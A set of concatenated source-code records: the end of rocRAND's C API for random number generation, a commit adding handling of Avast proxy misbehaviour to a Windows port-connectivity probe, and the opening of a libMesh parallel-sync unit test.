}\n    }\n    catch(const std::bad_alloc& e)\n    {\n        return ROCRAND_STATUS_INTERNAL_ERROR;\n    }\n    catch(rocrand_status status)\n    {\n        return ROCRAND_STATUS_SUCCESS;\n    }\n    return ROCRAND_STATUS_SUCCESS;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_destroy_generator(rocrand_generator generator)\n{\n    try\n    {\n        delete(generator);\n    }\n    catch(rocrand_status status)\n    {\n        return status;\n    }\n    return ROCRAND_STATUS_SUCCESS;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate(rocrand_generator generator,\n                 unsigned int * output_data, size_t n)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate(output_data, n);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate(output_data, n);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_uniform(rocrand_generator generator,\n                         float * output_data, size_t n)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_uniform(output_data, n);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_uniform(output_data, n);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_uniform_double(rocrand_generator generator,\n                                double * output_data, size_t n)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_uniform(output_data, n);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_uniform(output_data, n);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_normal(rocrand_generator generator,\n                        float * output_data, size_t n,\n                        float mean, float stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_normal(output_data, n,\n                                                        stddev, mean);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_normal(output_data, n,\n                                                   stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_normal_double(rocrand_generator generator,\n                 double * output_data, size_t n,\n                 double mean, double stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_normal(output_data, n,\n                                                        stddev, mean);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_normal(output_data, n,\n                                                   stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_log_normal(rocrand_generator generator,\n                            float * output_data, size_t n,\n                            float mean, float stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_log_normal(output_data, n,\n                                                            stddev, mean);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_log_normal(output_data, n,\n                                                       stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_log_normal_double(rocrand_generator generator,\n                                   double * output_data, size_t n,\n                                   double mean, double stddev)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_log_normal(output_data, n,\n                                                            stddev, mean);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_log_normal(output_data, n,\n                                                       stddev, mean);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_generate_poisson(rocrand_generator generator,\n                         unsigned int * output_data, size_t n,\n                         double lambda)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n    if (lambda <= 0.0)\n    {\n        return ROCRAND_STATUS_OUT_OF_RANGE;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        rocrand_philox4x32_10 * philox4x32_10_generator =\n            static_cast<rocrand_philox4x32_10 *>(generator);\n        return philox4x32_10_generator->generate_poisson(output_data, n,\n                                                         lambda);\n    }\n    else if(generator->rng_type == ROCRAND_RNG_PSEUDO_MRG32K3A)\n    {\n        rocrand_mrg32k3a * mrg32k3a_generator =\n            static_cast<rocrand_mrg32k3a *>(generator);\n        return mrg32k3a_generator->generate_poisson(output_data, n,\n                                                    lambda);\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_set_stream(rocrand_generator generator, hipStream_t stream)\n{\n    if(generator == NULL)\n    {\n        return ROCRAND_STATUS_NOT_INITIALIZED;\n    }\n\n    if(generator->rng_type == ROCRAND_RNG_PSEUDO_PHILOX4_32_10)\n    {\n        static_cast<rocrand_philox4x32_10 *>(generator)->set_stream(stream);\n        return ROCRAND_STATUS_SUCCESS;\n    }\n    return ROCRAND_STATUS_TYPE_ERROR;\n}\n\nrocrand_status ROCRANDAPI\nrocrand_get_version(int * version)\n{\n    if(version == NULL)\n    {\n        return ROCRAND_STATUS_OUT_OF_RANGE;\n    }\n\n    *version = ROCRAND_VERSION;\n    return ROCRAND_STATUS_SUCCESS;\n}\n\n#if defined(__cplusplus)\n}\n#endif \/* __cplusplus *\/\n<|endoftext|>"}
{"text":"<commit_before>\/**@addtogroup Probe Test whether a given port on a host is connectable.\r\n * @{@file\r\n *\r\n * This application attempts to connect to a server and port, and just returns\r\n * the status as a result to the invoker.\r\n *\r\n * @author Nigel Bree <nigel.bree@gmail.com>\r\n *\r\n * Copyright (C) 2011 Nigel Bree; All Rights Reserved.\r\n * \r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n * \r\n * Redistributions of source code must retain the above copyright notice,\r\n * this list of conditions and the following disclaimer.\r\n * \r\n * Redistributions in binary form must reproduce the above copyright notice,\r\n * this list of conditions and the following disclaimer in the documentation\r\n * and\/or other materials provided with the distribution.\r\n * \r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\r\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\/\r\n\r\n#include <winsock2.h>\r\n#include <ws2tcpip.h>\r\n\r\n\/**\r\n * Simple command-line argument extraction, about as unsophisticated as it can\r\n * possibly get.\r\n *\/\r\n\r\nwchar_t * split (wchar_t * args) {\r\n        if (args == 0)\r\n                return args;\r\n\r\n        \/*\r\n         * The argument is quoted (which is typical of the first argument, the\r\n         * program name, because of the need to avoid problems with spaces in\r\n         * the path), in which case we skip to the ending quote first.\r\n         *\/\r\n\r\n        if (* args == '\"') {\r\n                for (;;) {\r\n                        ++ args;\r\n                        wchar_t         ch = * args;\r\n                        if (ch == '\"')\r\n                                break;\r\n\r\n                        if (ch == 0)\r\n                                return 0;\r\n                }\r\n        }\r\n\r\n        \/*\r\n         * Split at the next space.\r\n         *\/\r\n\r\n        for (;;) {\r\n                wchar_t         ch = * args;\r\n                if (ch == ' ')\r\n                        break;\r\n\r\n                if (ch == 0)\r\n                        return 0;\r\n                ++ args;\r\n        }\r\n\r\n        * args = 0;\r\n        ++ args;\r\n\r\n        \/*\r\n         * If there are additional spaces, consume them.\r\n         *\/\r\n\r\n        while (* args == ' ')\r\n                ++ args;\r\n\r\n        return args;\r\n}\r\n\r\n\/**\r\n * If we're asked to probe for an NTTP port, then sometimes we have to deal\r\n * with local proxies.\r\n *\r\n * In this case, we actually try and read from the socket to at least get the\r\n * server's initial hello. For the annoying Avast! proxy, that at least does\r\n * not get sent until the real target responds to the proxy, and if the proxy\r\n * connection doesn't work (after 5-6 seconds, since it tries the TLS version\r\n * of the port even if we connected plain-text) then it spits a 400 out.\r\n *\/\r\n\r\nint checkNntp (SOCKET s) {\r\n        char            buf [128];\r\n        int             result;\r\n        result = recv (s, buf, sizeof (buf), 0);\r\n        if (result < 5)\r\n                return 1;\r\n\r\n        \/*\r\n         * Various tedious socket-isms can apply, such as the bytes for the\r\n         * initial response code trickling in over time. Let's not worry\r\n         * about that, just deal with the basics.\r\n         *\/\r\n\r\n        void          * end = memchr (buf, ' ', result);\r\n        if (end == 0)\r\n                return 1;\r\n\r\n        return memcmp (buf, \"400\", 3) == 0 ? 1 : 0;\r\n}\r\n\r\n\/**\r\n * If we're asked to probe for an HTTP port, then we need to avoid problems\r\n * with local proxies.\r\n *\r\n * Unlike NNTP, the HTTP protocol is client-driven; as it turns out the way the\r\n * crappy Avast! proxy works is that it'll unilaterally close the connection if\r\n * it can't reach the real intended target, but in order to have this work for\r\n * real targets it pays to request a resource. The safest thing to ask for seems\r\n * to be favicon.ico - it's something lots of browsers request anyway and it's\r\n * almost always a small image, so we shouldn't clog up logs with requests for\r\n * 404 resources or get elaborate 404 response pages back.\r\n *\/\r\n\r\nint checkHttp (SOCKET s, HANDLE show) {\r\nstatic  char            head [] = \"HEAD \/favicon.ico HTTP\/1.0\\n\\n\";\r\n        int             result;\r\n        int             length = strlen (head);\r\n        result = send (s, head, length, 0);\r\n        if (result < length)\r\n                return 1;\r\n\r\n        char            buf [1024];\r\n        result = recv (s, buf, sizeof (buf), 0);\r\n\r\n        \/*\r\n         * Show the HTTP response, for debugging.\r\n         *\/\r\n\r\n        if (result > 0 && show > 0) {\r\n                HANDLE          err = GetStdHandle (STD_ERROR_HANDLE);\r\n                unsigned long   written = 0;\r\n                WriteFile (err, buf, result, & written, 0);\r\n        }\r\n\r\n        return result < 5 ? 1 : 0;\r\n}\r\n\r\n\/**\r\n * Probe for the indicated port at the given host.\r\n *\/\r\n\r\nint probe (wchar_t * host, wchar_t * port, HANDLE show) {\r\n        \/*\r\n         * Detect the presence of the Avast! virus scanner; it includes a set\r\n         * of proxy-type firewalls that are somewhat tedious to deal with, and\r\n         * in the case of NNTP mean that NNTP connections go through their\r\n         * proxy; so, our connect will succeed (being locally looped back) and\r\n         * send us nothing while the proxy module slowly decides whether it can\r\n         * or can't connect to the real target over TLS or plain-text NNTP.\r\n         *\r\n         * So, if Avast! is present we can choose to either try and read from\r\n         * the socket once it connects (so we can get the response code, which\r\n         * will generally be 400 once the Avast proxy fails), or we can forget\r\n         * the whole probing process because that introduces too much delay.\r\n         *\/\r\n\r\n        HMODULE         avast = GetModuleHandle (L\"snxhk.dll\");\r\n\r\n        WSADATA         wsaData;\r\n        if (WSAStartup (MAKEWORD (2, 2), & wsaData) != 0)\r\n                return 2;\r\n\r\n        SOCKET          s;\r\n        s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);\r\n        if (s == SOCKET_ERROR)\r\n                return 2;\r\n\r\n        sockaddr_in     any;\r\n        any.sin_family = AF_INET;\r\n        any.sin_port = 0;\r\n        any.sin_addr.S_un.S_addr = INADDR_ANY;\r\n        if (bind (s, (sockaddr *) & any, sizeof (any)) != 0)\r\n                return 2;\r\n\r\n        \/*\r\n         * Look up the hostname and convert the port number into numeric form,\r\n         * all handily in one function.\r\n         *\/\r\n\r\n        ADDRINFOW     * address;\r\n        if (GetAddrInfoW (host, port, 0, & address) != 0)\r\n                return 2;\r\n\r\n        \/*\r\n         * Just test whether the port is open or not.\r\n         *\/\r\n\r\n        int             result;\r\n        result = connect (s, address->ai_addr, address->ai_addrlen) ? 1 : 0;\r\n\r\n        \/*\r\n         * Decide whether to actually wait for data, if we're dealing with the\r\n         * Avast! proxy being present on a system.\r\n         *\/\r\n\r\n        sockaddr_in   * addr = (sockaddr_in *) address->ai_addr;\r\n        switch (htons (addr->sin_port)) {\r\n        case 119:\r\n                if (avast && result == 0)\r\n                        result = checkNntp (s);\r\n                break;\r\n\r\n        case 80:\r\n                if (avast && result == 0)\r\n                        result = checkHttp (s, show);\r\n                break;\r\n\r\n        default:\r\n                break;\r\n        }\r\n\r\n        return result;\r\n}\r\n\r\n\/**\r\n * This is intended as a \"naked\" WinMain without the Visual C++ run-time\r\n * at all (not just avoiding the broken locale machinery).\r\n *\/\r\n\r\nint CALLBACK myWinMain (void) {\r\n        HANDLE          err = GetStdHandle (STD_ERROR_HANDLE);\r\n        unsigned long   written = 0;\r\n\r\n        \/*\r\n         * Since we're not using the regular C machinery, get and split the\r\n         * command line by hand. The CommandLineToArgvW () routine would do the\r\n         * normal conversion to C style for us, but that depends on SHELL32.DLL\r\n         * and we shouldn't need it.\r\n         *\/\r\n\r\n        wchar_t       * base = GetCommandLineW ();\r\n        wchar_t       * name = split (base);\r\n        wchar_t       * port = split (name);\r\n        wchar_t       * extra = split (port);\r\n        if (port == 0)\r\n                return 2;\r\n\r\n        int             result = probe (name, port, err);\r\n\r\n        if (extra == 0)\r\n                ExitProcess (result);\r\n\r\nstatic  const char      text [] = \"Probe result: \";\r\n        WriteFile (err, text, strlen (text), & written, 0);\r\n\r\n        char            buf [2] = { '0' + result };\r\n        WriteFile (err, buf, 1, & written, 0);\r\n\r\n        ExitProcess (result);\r\n}\r\n<commit_msg>Resolve another misfeature of the Avast! proxy in the probe assistant.<commit_after>\/**@addtogroup Probe Test whether a given port on a host is connectable.\r\n * @{@file\r\n *\r\n * This application attempts to connect to a server and port, and just returns\r\n * the status as a result to the invoker.\r\n *\r\n * @author Nigel Bree <nigel.bree@gmail.com>\r\n *\r\n * Copyright (C) 2011 Nigel Bree; All Rights Reserved.\r\n * \r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n * \r\n * Redistributions of source code must retain the above copyright notice,\r\n * this list of conditions and the following disclaimer.\r\n * \r\n * Redistributions in binary form must reproduce the above copyright notice,\r\n * this list of conditions and the following disclaimer in the documentation\r\n * and\/or other materials provided with the distribution.\r\n * \r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\r\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\/\r\n\r\n#include <winsock2.h>\r\n#include <ws2tcpip.h>\r\n\r\n\/**\r\n * Simple command-line argument extraction, about as unsophisticated as it can\r\n * possibly get.\r\n *\/\r\n\r\nwchar_t * split (wchar_t * args) {\r\n        if (args == 0)\r\n                return args;\r\n\r\n        \/*\r\n         * The argument is quoted (which is typical of the first argument, the\r\n         * program name, because of the need to avoid problems with spaces in\r\n         * the path), in which case we skip to the ending quote first.\r\n         *\/\r\n\r\n        if (* args == '\"') {\r\n                for (;;) {\r\n                        ++ args;\r\n                        wchar_t         ch = * args;\r\n                        if (ch == '\"')\r\n                                break;\r\n\r\n                        if (ch == 0)\r\n                                return 0;\r\n                }\r\n        }\r\n\r\n        \/*\r\n         * Split at the next space.\r\n         *\/\r\n\r\n        for (;;) {\r\n                wchar_t         ch = * args;\r\n                if (ch == ' ')\r\n                        break;\r\n\r\n                if (ch == 0)\r\n                        return 0;\r\n                ++ args;\r\n        }\r\n\r\n        * args = 0;\r\n        ++ args;\r\n\r\n        \/*\r\n         * If there are additional spaces, consume them.\r\n         *\/\r\n\r\n        while (* args == ' ')\r\n                ++ args;\r\n\r\n        return args;\r\n}\r\n\r\n\/**\r\n * If we're asked to probe for an NTTP port, then sometimes we have to deal\r\n * with local proxies.\r\n *\r\n * In this case, we actually try and read from the socket to at least get the\r\n * server's initial hello. For the annoying Avast! proxy, that at least does\r\n * not get sent until the real target responds to the proxy, and if the proxy\r\n * connection doesn't work (after 5-6 seconds, since it tries the TLS version\r\n * of the port even if we connected plain-text) then it spits a 400 out.\r\n *\/\r\n\r\nint checkNntp (SOCKET s) {\r\n        char            buf [128];\r\n        int             result;\r\n        result = recv (s, buf, sizeof (buf), 0);\r\n        if (result < 5)\r\n                return 1;\r\n\r\n        \/*\r\n         * Various tedious socket-isms can apply, such as the bytes for the\r\n         * initial response code trickling in over time. Let's not worry\r\n         * about that, just deal with the basics.\r\n         *\/\r\n\r\n        void          * end = memchr (buf, ' ', result);\r\n        if (end == 0)\r\n                return 1;\r\n\r\n        return memcmp (buf, \"400\", 3) == 0 ? 1 : 0;\r\n}\r\n\r\n\/**\r\n * If we're asked to probe for an HTTP port, then we need to avoid problems\r\n * with local proxies.\r\n *\r\n * Unlike NNTP, the HTTP protocol is client-driven; as it turns out the way the\r\n * crappy Avast! proxy works is that it'll unilaterally close the connection if\r\n * it can't reach the real intended target, but in order to have this work for\r\n * real targets it pays to request a resource. The safest thing to ask for seems\r\n * to be favicon.ico - it's something lots of browsers request anyway and it's\r\n * almost always a small image, so we shouldn't clog up logs with requests for\r\n * 404 resources or get elaborate 404 response pages back.\r\n *\r\n * It turns out that the Avast! proxy has some other exciting misbehaviours; it\r\n * will sometimes (but not always) when a connection fails return an \"HTTP\/1.1\r\n * 200 OK\" status with some fixed bogus fields, one of which is a \"Refresh: 1;\"\r\n * to re-fetch the target URL.\r\n *\/\r\n\r\nint checkHttp (SOCKET s, HANDLE show) {\r\nstatic  char            head [] = \"HEAD \/favicon.ico HTTP\/1.0\\n\\n\";\r\n        int             result;\r\n        int             length = strlen (head);\r\n        result = send (s, head, length, 0);\r\n        if (result < length)\r\n                return 1;\r\n\r\n        char            buf [1024];\r\n        result = recv (s, buf, sizeof (buf) - 1, 0);\r\n\r\n#if     1\r\n        \/*\r\n         * Show the HTTP response, for debugging. I'll keep this in as long as\r\n         * it doesn't cost me any compile-time space.\r\n         *\/\r\n\r\n        if (result > 0 && show > 0) {\r\n                HANDLE          err = GetStdHandle (STD_ERROR_HANDLE);\r\n                unsigned long   written = 0;\r\n                WriteFile (err, buf, result, & written, 0);\r\n        }\r\n#endif\r\n\r\n        \/*\r\n         * Normally we wouldn't care what the actual response text was, but to\r\n         * deal with the fake response sometimes returned from Avast! I have to\r\n         * recognize and suppress it.\r\n         *\/\r\n\r\n        if (result > 0) {\r\n                buf [result] = 0;\r\n                if (strstr (buf, \"\\nRefresh: 1;\") != 0)\r\n                        return 1;\r\n        }\r\n\r\n        return result < 5 ? 1 : 0;\r\n}\r\n\r\n\/**\r\n * Probe for the indicated port at the given host.\r\n *\/\r\n\r\nint probe (wchar_t * host, wchar_t * port, HANDLE show) {\r\n        \/*\r\n         * Detect the presence of the Avast! virus scanner; it includes a set\r\n         * of proxy-type firewalls that are somewhat tedious to deal with, and\r\n         * in the case of NNTP mean that NNTP connections go through their\r\n         * proxy; so, our connect will succeed (being locally looped back) and\r\n         * send us nothing while the proxy module slowly decides whether it can\r\n         * or can't connect to the real target over TLS or plain-text NNTP.\r\n         *\r\n         * So, if Avast! is present we can choose to either try and read from\r\n         * the socket once it connects (so we can get the response code, which\r\n         * will generally be 400 once the Avast proxy fails), or we can forget\r\n         * the whole probing process because that introduces too much delay.\r\n         *\/\r\n\r\n        HMODULE         avast = GetModuleHandle (L\"snxhk.dll\");\r\n\r\n        WSADATA         wsaData;\r\n        if (WSAStartup (MAKEWORD (2, 2), & wsaData) != 0)\r\n                return 2;\r\n\r\n        SOCKET          s;\r\n        s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);\r\n        if (s == SOCKET_ERROR)\r\n                return 2;\r\n\r\n        sockaddr_in     any;\r\n        any.sin_family = AF_INET;\r\n        any.sin_port = 0;\r\n        any.sin_addr.S_un.S_addr = INADDR_ANY;\r\n        if (bind (s, (sockaddr *) & any, sizeof (any)) != 0)\r\n                return 2;\r\n\r\n        \/*\r\n         * Look up the hostname and convert the port number into numeric form,\r\n         * all handily in one function.\r\n         *\/\r\n\r\n        ADDRINFOW     * address;\r\n        if (GetAddrInfoW (host, port, 0, & address) != 0)\r\n                return 2;\r\n\r\n        \/*\r\n         * Just test whether the port is open or not.\r\n         *\/\r\n\r\n        int             result;\r\n        result = connect (s, address->ai_addr, address->ai_addrlen) ? 1 : 0;\r\n\r\n        \/*\r\n         * Decide whether to actually wait for data, if we're dealing with the\r\n         * Avast! proxy being present on a system.\r\n         *\/\r\n\r\n        sockaddr_in   * addr = (sockaddr_in *) address->ai_addr;\r\n        switch (htons (addr->sin_port)) {\r\n        case 119:\r\n                if (avast && result == 0)\r\n                        result = checkNntp (s);\r\n                break;\r\n\r\n        case 80:\r\n                if (avast && result == 0)\r\n                        result = checkHttp (s, show);\r\n                break;\r\n\r\n        default:\r\n                break;\r\n        }\r\n\r\n        return result;\r\n}\r\n\r\n\/**\r\n * This is intended as a \"naked\" WinMain without the Visual C++ run-time\r\n * at all (not just avoiding the broken locale machinery).\r\n *\/\r\n\r\nint CALLBACK myWinMain (void) {\r\n        HANDLE          err = GetStdHandle (STD_ERROR_HANDLE);\r\n        unsigned long   written = 0;\r\n\r\n        \/*\r\n         * Since we're not using the regular C machinery, get and split the\r\n         * command line by hand. The CommandLineToArgvW () routine would do the\r\n         * normal conversion to C style for us, but that depends on SHELL32.DLL\r\n         * and we shouldn't need it.\r\n         *\/\r\n\r\n        wchar_t       * base = GetCommandLineW ();\r\n        wchar_t       * name = split (base);\r\n        wchar_t       * port = split (name);\r\n        wchar_t       * extra = split (port);\r\n        if (port == 0)\r\n                return 2;\r\n\r\n        int             result = probe (name, port, err);\r\n\r\n        if (extra == 0)\r\n                ExitProcess (result);\r\n\r\nstatic  const char      text [] = \"Probe result: \";\r\n        WriteFile (err, text, strlen (text), & written, 0);\r\n\r\n        char            buf [2] = { '0' + result };\r\n        WriteFile (err, buf, 1, & written, 0);\r\n\r\n        ExitProcess (result);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Ignore unused parameter warnings coming from cppunit headers\n#include <libmesh\/ignore_warnings.h>\n#include <cppunit\/extensions\/HelperMacros.h>\n#include <cppunit\/TestCase.h>\n#include <libmesh\/restore_warnings.h>\n\n#include <libmesh\/parallel_sync.h>\n\n#include \"test_comm.h\"\n\n#include <algorithm>\n\n\/\/ THE CPPUNIT_TEST_SUITE_END macro expands to code that involves\n\/\/ std::auto_ptr, which in turn produces -Wdeprecated-declarations\n\/\/ warnings.  These can be ignored in GCC as long as we wrap the\n\/\/ offending code in appropriate pragmas.  We can't get away with a\n\/\/ single ignore_warnings.h inclusion at the beginning of this file,\n\/\/ since the libmesh headers pull in a restore_warnings.h at some\n\/\/ point.  We also don't bother restoring warnings at the end of this\n\/\/ file since it's not a header.\n#include <libmesh\/ignore_warnings.h>\n\nusing namespace libMesh;\n\nclass ParallelSyncTest : public CppUnit::TestCase {\npublic:\n  CPPUNIT_TEST_SUITE( ParallelSyncTest );\n\n  CPPUNIT_TEST( testPush );\n\n\/\/  CPPUNIT_TEST( testPushOversized );\n\n  CPPUNIT_TEST( testPull );\n\n\/\/  CPPUNIT_TEST( testPullOversized );\n\n  CPPUNIT_TEST_SUITE_END();\n\npublic:\n  void setUp()\n  {}\n\n  void tearDown()\n  {}\n\n  void testPushImpl(int M)\n  {\n    const int size = TestCommWorld->size(),\n              rank = TestCommWorld->rank();\n\n    \/\/ Data to send\/recieve with each processor rank.  For this test,\n    \/\/ processor p will send to destination d the integer d, in a\n    \/\/ vector with sqrt(c)+1 copies, iff c := |p-d| is a square number.\n    std::map<processor_id_type, std::vector<unsigned int> > data, received_data;\n\n    for (int d=0; d != M; ++d)\n      {\n        int diffsize = std::abs(d-rank);\n        int diffsqrt = std::sqrt(diffsize);\n        if (diffsqrt*diffsqrt == diffsize)\n          for (int i=-1; i != diffsqrt; ++i)\n            data[d].push_back(d);\n      }\n\n    auto collect_data =\n      [&received_data]\n      (processor_id_type pid,\n       const std::vector<unsigned int> & data)\n      {\n        received_data[pid] = data;\n      };\n\n    \/\/ Do the push\n    Parallel::push_parallel_vector_data(*TestCommWorld, data, collect_data);\n\n    \/\/ Test the received results, for each processor id p we're in\n    \/\/ charge of.\n    std::vector<std::size_t> checked_sizes(size, 0);\n    for (int p=rank; p != M; p += size)\n      for (int srcp=0; srcp != size; ++srcp)\n        {\n          int diffsize = std::abs(srcp-p);\n          int diffsqrt = std::sqrt(diffsize);\n          if (diffsqrt*diffsqrt != diffsize)\n            {\n              CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(0));\n              continue;\n            }\n\n          CPPUNIT_ASSERT_EQUAL(received_data.count(srcp), std::size_t(1));\n          const std::vector<unsigned int> & datum = received_data[srcp];\n          CPPUNIT_ASSERT_EQUAL(std::count(datum.begin(), datum.end(), p), std::ptrdiff_t(diffsqrt+1));\n          checked_sizes[srcp] += diffsqrt+1;\n        }\n\n    for (int srcp=0; srcp != size; ++srcp)\n      CPPUNIT_ASSERT_EQUAL(checked_sizes[srcp], received_data[srcp].size());\n  }\n\n\n  void testPush()\n  {\n    const int size = TestCommWorld->size();\n\n    \/\/ Our sync functions are most typically used with a map of\n    \/\/ processor ids that *only* includes ranks currently running.\n    const int M = size;\n\n    testPushImpl(M);\n  }\n\n\n  void testPushOversized()\n  {\n    const int size = TestCommWorld->size();\n\n    \/\/ Our sync functions need to support sending to ranks that don't\n    \/\/ exist!  If we're on N processors but working on a mesh\n    \/\/ partitioned into M parts with M > N, then subpartition p\n    \/\/ belongs to processor p%N.  Let's make M > N here.\n    const int M = (size + 4) * 2;\n\n    